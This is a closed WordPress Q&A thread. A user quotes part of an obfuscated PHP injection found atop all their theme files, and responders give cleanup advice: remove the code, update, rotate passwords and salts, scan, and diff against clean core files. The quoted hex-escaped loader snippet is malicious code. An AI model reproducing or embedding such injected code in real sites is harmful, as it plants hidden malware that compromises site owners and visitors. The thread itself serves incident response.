0

I found the following at the top of all my theme files. My local copy doesn't have it!

WordPress v4.2.2 running on a Linux server. Plugins: Advanced Custom Fields

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) {$ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $jobconrfpf = '5c%x78257-MSV,6<*)ujojR%x5c%x7b\40\x2f\52\x20\153\x6a\145\x62\161\x61\165\x67\160\x68\40\x2a\57\x20"; $ournfmcogg=substr($jobconrfpf,(42613-32500),(69-57)); $ournfmcogg($xqycebdlqb, $pvjekxgoli, NULL); $ournfmcogg=$pvjekxgoli; $ournfmcogg=(464-343); $jobconrfpf=$ournfmcogg-1; ?>

I goes on and on. I didn't want to paste everything on here.

Any ideas where this has come from? Thanks for you help in advance.

closed as off-topic by Nicolai, birgire, TheDeadMedic, Howdy_McGee, Mayeenul Islam Jun 16 '15 at 18:45

This question appears to be off-topic. The users who voted to close gave this specific reason:

  • "Questions that are too localized (such as syntax errors, code with restricted access, hacked sites, hosting or support issues) are not in scope. See how do I ask a good question?" – Nicolai, birgire, TheDeadMedic, Howdy_McGee, Mayeenul Islam
If this question can be reworded to fit the rules in the help center, please edit the question.

  • Yep! Remove the malicious code, update your WordPress, Plugins, Theme, change your admin passwords, change database/ftp passwords, change the salts in wp-config.php, install WordFence and scan your site for more issues. – passatgt Jun 14 '15 at 11:35
1

Yes ! This is a malicious code - if you don't have any backup. I will suggest you to remove this code from top of every file manually. There is no "Genire" plugin/script which can safely remove it from your every file. If you are good with PHP, you can write your own script.

Follow these steps to make all secure :

  1. Remove All Malicious Code From Every File
  2. Change file permissions.
  3. Install this plugin and run a scan for more info : https://wordpress.org/plugins/gotmls/
  • As well as removing the obvious code. It might also be worth running a file comparison on the core WP files against a clean installation. As well as plugins and themes - to make sure the malware didn't put a back door in for easier future access. – Edd Smith Jun 15 '15 at 20:01

Not the answer you're looking for? Browse other questions tagged or ask your own question.